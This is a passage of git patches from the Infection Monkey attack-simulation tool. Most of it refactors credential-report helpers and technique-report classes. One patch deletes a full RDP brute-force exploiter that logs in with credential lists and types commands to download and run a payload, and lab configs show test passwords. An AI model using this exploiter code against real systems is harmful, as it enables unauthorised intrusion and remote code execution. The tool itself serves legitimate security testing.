    ); diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js index 934b75692..63e2bb4a5 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, renderCollections, scanStatus } from "./Helpers" +import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" class T1016 extends React.Component { @@ -15,7 +15,7 @@ class T1016 extends React.Component { Header: "Network configuration info gathered", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Network info', id: 'info', accessor: x => renderCollections(x.info), style: { 'whiteSpace': 'unset' }}, + {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }}, ] }])}; @@ -24,7 +24,7 @@ class T1016 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Gathered info', id: 'info', accessor: x => renderCollections(x.collections), style: { 'whiteSpace': 'unset' }}, + {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }}, ] }])}; From 54b38b04b2316930a798ee1fab0c26783b080869 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 17:03:26 +0300 Subject: [PATCH 120/276] Exported common T1021 and T1110 functions to 'technique_report_tools.py' file, fixed 'ScanStatus' usage on front end --- .../attack/technique_reports/T1021.py | 5 +- .../attack/technique_reports/T1110.py | 47 +------------------ .../technique_report_tools.py | 46 ++++++++++++++++++ .../src/components/attack/techniques/T1021.js | 4 +- 4 files changed, 53 insertions(+), 49 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 6f69f39ab..2baa7a872 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -1,7 +1,8 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.services.attack.technique_reports.T1110 import T1110 +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds + __author__ = "VakarisZ" @@ -44,7 +45,7 @@ class T1021(AttackTechnique): for result in attempts: result['successful_creds'] = [] for attempt in result['attempts']: - result['successful_creds'].append(T1110.parse_creds(attempt)) + result['successful_creds'].append(parse_creds(attempt)) else: status = ScanStatus.SCANNED.value else: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index b918de7f4..72bb0af76 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -1,7 +1,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds __author__ = "VakarisZ" @@ -32,7 +32,7 @@ class T1110(AttackTechnique): result['successful_creds'] = [] for attempt in result['attempts']: succeeded = True - result['successful_creds'].append(T1110.parse_creds(attempt)) + result['successful_creds'].append(parse_creds(attempt)) if succeeded: status = ScanStatus.USED.value @@ -47,47 +47,4 @@ class T1110(AttackTechnique): data.update({'services': attempts}) return data - @staticmethod - def parse_creds(attempt): - """ - Parses used credentials into a string - :param attempt: login attempt from database - :return: string with username and used password/hash - """ - username = attempt['user'] - creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])}, - 'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)}, - 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, - 'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}} - for key, cred in creds.items(): - if attempt[key]: - return '%s ; %s : %s' % (username, - cred['type'], - cred['output']) - @staticmethod - def censor_password(password, plain_chars=3, secret_chars=5): - """ - Decrypts and obfuscates password by changing characters to * - :param password: Password or string to obfuscate - :param plain_chars: How many plain-text characters should be kept at the start of the string - :param secret_chars: How many * symbols should be used to hide the remainder of the password - :return: Obfuscated string e.g. Pass**** - """ - if not password: - return "" - password = encryptor.dec(password) - return password[0:plain_chars] + '*' * secret_chars - - @staticmethod - def censor_hash(hash_, plain_chars=5): - """ - Decrypts and obfuscates hash by only showing a part of it - :param hash_: Hash to obfuscate - :param plain_chars: How many chars of hash should be shown - :return: Obfuscated string - """ - if not hash_: - return "" - hash_ = encryptor.dec(hash_) - return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py new file mode 100644 index 000000000..05cef3684 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -0,0 +1,46 @@ +from monkey_island.cc.encryptor import encryptor + + +def parse_creds(attempt): + """ + Parses used credentials into a string + :param attempt: login attempt from database + :return: string with username and used password/hash + """ + username = attempt['user'] + creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])}, + 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)}, + 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, + 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}} + for key, cred in creds.items(): + if attempt[key]: + return '%s ; %s : %s' % (username, + cred['type'], + cred['output']) + + +def censor_password(password, plain_chars=3, secret_chars=5): + """ + Decrypts and obfuscates password by changing characters to * + :param password: Password or string to obfuscate + :param plain_chars: How many plain-text characters should be kept at the start of the string + :param secret_chars: How many * symbols should be used to hide the remainder of the password + :return: Obfuscated string e.g. Pass**** + """ + if not password: + return "" + password = encryptor.dec(password) + return password[0:plain_chars] + '*' * secret_chars + + +def censor_hash(hash_, plain_chars=5): + """ + Decrypts and obfuscates hash by only showing a part of it + :param hash_: Hash to obfuscate + :param plain_chars: How many chars of hash should be shown + :return: Obfuscated string + """ + if not hash_: + return "" + hash_ = encryptor.dec(hash_) + return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js index edfba66a9..ce8688af1 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine, scanStatus } from "./Helpers" +import { renderMachine, ScanStatus } from "./Helpers" class T1021 extends React.Component { @@ -29,7 +29,7 @@ class T1021 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 18:15:25 +0300 Subject: [PATCH 121/276] Exported UsageTechnique class to separate file, improved documentation. Refactored scripting attack telemetry sending in pba --- monkey/infection_monkey/post_breach/pba.py | 13 ++++- .../attack/technique_reports/T1035.py | 3 +- .../attack/technique_reports/T1064.py | 2 +- .../attack/technique_reports/T1106.py | 2 +- .../attack/technique_reports/T1129.py | 3 +- .../attack/technique_reports/__init__.py | 46 +--------------- .../technique_reports/usage_technique.py | 53 +++++++++++++++++++ 7 files changed, 70 insertions(+), 52 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 123214db9..e3eb533ae 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -47,10 +47,21 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - if result[1] and isinstance(self.command, list) and len(self.command) > 1: + if self.scripts_were_used(result): T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() + def scripts_were_used(self, pba_execution_result): + """ + Determines if scripts were used to execute PBA + :param pba_execution_result: result of execution function. e.g. self._execute_default + :return: True if scripts were used, False otherwise + """ + pba_execution_succeeded = pba_execution_result[1] + if pba_execution_succeeded and isinstance(self.command, list) and len(self.command) > 1: + return True + return False + def _execute_default(self): """ Default post breach command execution routine diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index fcc230be5..2750c953c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -1,5 +1,4 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index ef9ce1b80..9137f99e4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index b50b19883..d07a66038 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index f1a4d1b83..5f87faabb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -1,5 +1,4 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index ec5ee7781..e164e8830 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -2,7 +2,7 @@ import abc import logging from monkey_island.cc.database import mongo -from common.utils.attack_utils import ScanStatus, UsageEnum +from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.attack_config import AttackConfig from common.utils.code_utils import abstractstatic @@ -115,47 +115,3 @@ class AttackTechnique(object): data = cls.get_message_and_status(status) data.update({'title': cls.technique_title()}) return data - - -class UsageTechnique(AttackTechnique): - __metaclass__ = abc.ABCMeta - - @staticmethod - def parse_usages(usage): - """ - Parses data from database and translates usage enums into strings - :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} - :return: usage string - """ - try: - usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] - except KeyError: - logger.error("Error translating usage enum. into string. " - "Check if usage enum field exists and covers all telem. statuses.") - return usage - - @classmethod - def get_usage_data(cls): - data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) - return list(map(cls.parse_usages, data)) - - @classmethod - def get_usage_query(cls): - """ - :return: Query that parses attack telems for simple report component - (gets machines and attack technique usage). - """ - return [{'$match': {'telem_category': 'attack', - 'data.technique': cls.tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'usage': '$data.usage'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py new file mode 100644 index 000000000..69f178e1c --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -0,0 +1,53 @@ +import abc + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger +from common.utils.attack_utils import UsageEnum + + +class UsageTechnique(AttackTechnique): + __metaclass__ = abc.ABCMeta + + @staticmethod + def parse_usages(usage): + """ + Parses data from database and translates usage enums into strings + :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} + :return: usage string + """ + try: + usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + except KeyError: + logger.error("Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses.") + return usage + + @classmethod + def get_usage_data(cls): + """ + Gets data of usage attack telemetries + :return: parsed list of usages from attack telemetries of usage type + """ + data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) + return list(map(cls.parse_usages, data)) + + @classmethod + def get_usage_query(cls): + """ + :return: Query that parses attack telemetries for a simple report component + (gets machines and attack technique usage). + """ + return [{'$match': {'telem_category': 'attack', + 'data.technique': cls.tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] From 2d82a185019e8202cc2c0c316324dc10c4f62c19 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 21 Aug 2019 10:02:08 +0200 Subject: [PATCH 122/276] Add missing requirement --- monkey/monkey_island/requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 6e57d9128..e6d81e6aa 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -25,3 +25,4 @@ wheel mongoengine mongomock requests +dpath From 3ca2df85e2e8bda3e73deadb2efd702c729068be Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 21 Aug 2019 09:43:54 +0200 Subject: [PATCH 123/276] Remove all mention of RDP grinder --- README.md | 1 - envs/monkey_zoo/configs/fullTest.conf | 4 - envs/monkey_zoo/docs/fullDocs.md | 10 +- monkey/infection_monkey/config.py | 3 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/__init__.py | 1 - .../infection_monkey/exploit/elasticgroovy.py | 4 +- monkey/infection_monkey/exploit/rdpgrinder.py | 346 ------------------ monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/model/__init__.py | 4 +- .../infection_monkey/requirements_linux.txt | 3 - .../infection_monkey/requirements_windows.txt | 3 - .../cc/resources/aws_exporter.py | 15 - .../cc/services/config_schema.py | 21 -- monkey/monkey_island/cc/services/report.py | 8 - .../cc/ui/src/components/pages/ReportPage.js | 19 - 16 files changed, 7 insertions(+), 438 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/rdpgrinder.py diff --git a/README.md b/README.md index 6ab6813ce..67b5b2e8b 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to * Multiple exploit methods: * SSH * SMB - * RDP * WMI * Shellshock * Conficker diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf index 8ffa668ef..d90d84ca4 100644 --- a/envs/monkey_zoo/configs/fullTest.conf +++ b/envs/monkey_zoo/configs/fullTest.conf @@ -62,7 +62,6 @@ "exploiter_classes": [ "SmbExploiter", "WmiExploiter", - "RdpExploiter", "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", @@ -79,9 +78,6 @@ "remote_user_pass": "Password1!", "user_to_add": "Monkey_IUSER_SUPPORT" }, - "rdp_grinder": { - "rdp_use_vbs_download": true - }, "sambacry": { "sambacry_folder_paths_to_guess": [ "/", diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 217a22b23..b792b16f4 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -606,20 +606,16 @@ fullTest.conf is a good config to start, because it covers all machines. 2}p}aR]&=M -Scan results: -Machine exploited using RDP grinder - - Server’s config:

    Remote desktop enabled

    Admin user’s credentials:

    m0nk3y, 2}p}aR]&=M

    - + Notes: - + @@ -649,7 +645,7 @@ fullTest.conf is a good config to start, because it covers all machines. Server’s config: -

    Has cashed mimikatz-15 RDP credentials

    +

    Has cached mimikatz-15 RDP credentials

    SMB turned on

    diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index cb5bf881b..1d31c709a 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -216,9 +216,6 @@ class Configuration(object): user_to_add = "Monkey_IUSER_SUPPORT" remote_user_pass = "Password1!" - # rdp exploiter - rdp_use_vbs_download = True - # User and password dictionaries for exploits. def get_exploit_user_password_pairs(self): diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 8dba50352..57b8d6ee5 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -63,7 +63,6 @@ "user_to_add": "Monkey_IUSER_SUPPORT", "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 19e5b327e..9db1bad47 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -80,7 +80,6 @@ class HostExploiter(object): from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.smbexec import SmbExploiter -from infection_monkey.exploit.rdpgrinder import RdpExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.shellshock import ShellShockExploiter from infection_monkey.exploit.sambacry import SambaCryExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 24a902eea..39fdf29b1 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ +from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ DOWNLOAD_TIMEOUT from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE from infection_monkey.telemetry.attack.t1197_telem import T1197Telem @@ -38,7 +38,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py deleted file mode 100644 index 0cf225637..000000000 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ /dev/null @@ -1,346 +0,0 @@ -import os.path -import threading -import time -from logging import getLogger - -import rdpy.core.log as rdpy_log -import twisted.python.log -from rdpy.core.error import RDPSecurityNegoFail -from rdpy.protocol.rdp import rdp -from twisted.internet import reactor - -from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING -from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -from infection_monkey.utils import utf_to_ascii - -__author__ = 'hoffer' - -KEYS_INTERVAL = 0.1 -MAX_WAIT_FOR_UPDATE = 120 -KEYS_SENDER_SLEEP = 0.01 -DOWNLOAD_TIMEOUT = 60 -RDP_PORT = 3389 -LOG = getLogger(__name__) - - -def twisted_log_func(*message, **kw): - if kw.get('isError'): - error_msg = 'Unknown' - if 'failure' in kw: - error_msg = kw['failure'].getErrorMessage() - LOG.error("Error from twisted library: %s" % (error_msg,)) - else: - LOG.debug("Message from twisted library: %s" % (str(message),)) - - -def rdpy_log_func(message): - LOG.debug("Message from rdpy library: %s" % (message,)) - - -twisted.python.log.msg = twisted_log_func -rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR -rdpy_log.log = rdpy_log_func - -# thread for twisted reactor, create once. -global g_reactor -g_reactor = threading.Thread(target=reactor.run, args=(False,)) - - -class ScanCodeEvent(object): - def __init__(self, code, is_pressed=False, is_special=False): - self.code = code - self.is_pressed = is_pressed - self.is_special = is_special - - -class CharEvent(object): - def __init__(self, char, is_pressed=False): - self.char = char - self.is_pressed = is_pressed - - -class SleepEvent(object): - def __init__(self, interval): - self.interval = interval - - -class WaitUpdateEvent(object): - def __init__(self, updates=1): - self.updates = updates - pass - - -def str_to_keys(orig_str): - result = [] - for c in orig_str: - result.append(CharEvent(c, True)) - result.append(CharEvent(c, False)) - result.append(WaitUpdateEvent()) - return result - - -class KeyPressRDPClient(rdp.RDPClientObserver): - def __init__(self, controller, keys, width, height, addr): - super(KeyPressRDPClient, self).__init__(controller) - self._keys = keys - self._addr = addr - self._update_lock = threading.Lock() - self._wait_update = False - self._keys_thread = threading.Thread(target=self._keysSender) - self._keys_thread.daemon = True - self._width = width - self._height = height - self._last_update = 0 - self.closed = False - self.success = False - self._wait_for_update = None - - def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): - update_time = time.time() - self._update_lock.acquire() - self._last_update = update_time - self._wait_for_update = False - self._update_lock.release() - - def _keysSender(self): - LOG.debug("Starting to send keystrokes") - while True: - - if self.closed: - return - - if len(self._keys) == 0: - reactor.callFromThread(self._controller.close) - LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port) - return - - key = self._keys[0] - - self._update_lock.acquire() - time_diff = time.time() - self._last_update - if type(key) is WaitUpdateEvent: - self._wait_for_update = True - self._update_lock.release() - key.updates -= 1 - if key.updates == 0: - self._keys = self._keys[1:] - elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): - self._wait_for_update = False - self._update_lock.release() - if type(key) is ScanCodeEvent: - reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, - key.is_special) - elif type(key) is CharEvent: - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) - elif type(key) is SleepEvent: - time.sleep(key.interval) - - self._keys = self._keys[1:] - else: - self._update_lock.release() - time.sleep(KEYS_SENDER_SLEEP) - - def onReady(self): - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True) - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False) - time.sleep(1) - pass - - def onClose(self): - self.success = len(self._keys) == 0 - self.closed = True - - def onSessionReady(self): - LOG.debug("Logged in, session is ready for work") - self._last_update = time.time() - self._keys_thread.start() - - -class CMDClientFactory(rdp.ClientFactory): - def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359): - self._username = username - self._password = password - self._domain = domain - self._keyboard_layout = "en" - # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter - self._keys = [SleepEvent(1), - ScanCodeEvent(91, True, True), - ScanCodeEvent(19, True), - ScanCodeEvent(19, False), - ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] - self._optimized = optimized - self._security = rdp.SecurityLevel.RDP_LEVEL_NLA - self._nego = True - self._client = None - self._width = width - self._height = height - self.done_event = threading.Event() - self.success = False - - def buildObserver(self, controller, addr): - """ - @summary: Build RFB observer - We use a RDPClient as RDP observer - @param controller: build factory and needed by observer - @param addr: destination address - @return: RDPClientQt - """ - - # create client observer - self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr) - - controller.setUsername(self._username) - controller.setPassword(self._password) - controller.setDomain(self._domain) - controller.setKeyboardLayout(self._keyboard_layout) - controller.setHostname(addr.host) - if self._optimized: - controller.setPerformanceSession() - controller.setSecurityLevel(self._security) - - return self._client - - def clientConnectionLost(self, connector, reason): - # try reconnect with basic RDP security - if reason.type == RDPSecurityNegoFail and self._nego: - LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % - (connector.host, connector.port)) - # stop nego - self._nego = False - self._security = rdp.SecurityLevel.RDP_LEVEL_RDP - connector.connect() - return - - LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port)) - self.success = self._client.success - self.done_event.set() - - def clientConnectionFailed(self, connector, reason): - LOG.debug("RDP connection to %s:%s failed, with error: %s" % - (connector.host, connector.port, reason.getErrorMessage())) - self.success = False - self.done_event.set() - - -class RdpExploiter(HostExploiter): - - _TARGET_OS_TYPE = ['windows'] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'RDP' - - def __init__(self, host): - super(RdpExploiter, self).__init__(host) - - def is_os_supported(self): - if super(RdpExploiter, self).is_os_supported(): - return True - - if not self.host.os.get('type'): - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if is_open: - self.host.os['type'] = 'windows' - return True - return False - - def _exploit_host(self): - global g_reactor - - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if not is_open: - LOG.info("RDP port is closed on %r, skipping", self.host) - return False - - src_path = get_target_monkey(self.host) - - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - - if not http_path: - LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") - return False - - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - if self._config.rdp_use_vbs_download: - command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - else: - command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - - user_password_pairs = self._config.get_exploit_user_password_pairs() - - if not g_reactor.is_alive(): - g_reactor.daemon = True - g_reactor.start() - - exploited = False - for user, password in user_password_pairs: - try: - # run command using rdp. - LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'", - self.host, user, self._config.hash_sensitive_data(password)) - - LOG.info("RDP connected to %r", self.host) - - user = utf_to_ascii(user) - password = utf_to_ascii(password) - command = utf_to_ascii(command) - - client_factory = CMDClientFactory(user, password, "", command) - - reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) - - client_factory.done_event.wait() - - if client_factory.success: - if not self._config.rdp_use_vbs_download: - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() - self.add_vuln_port(RDP_PORT) - exploited = True - self.report_login_attempt(True, user, password) - break - else: - # failed exploiting with this user/pass - self.report_login_attempt(False, user, password) - - except Exception as exc: - LOG.debug("Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", self.host, - user, self._config.hash_sensitive_data(password), exc) - continue - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - if not exploited: - LOG.debug("Exploiter RdpGrinder failed, rdp failed.") - return False - elif http_thread.downloads == 0: - 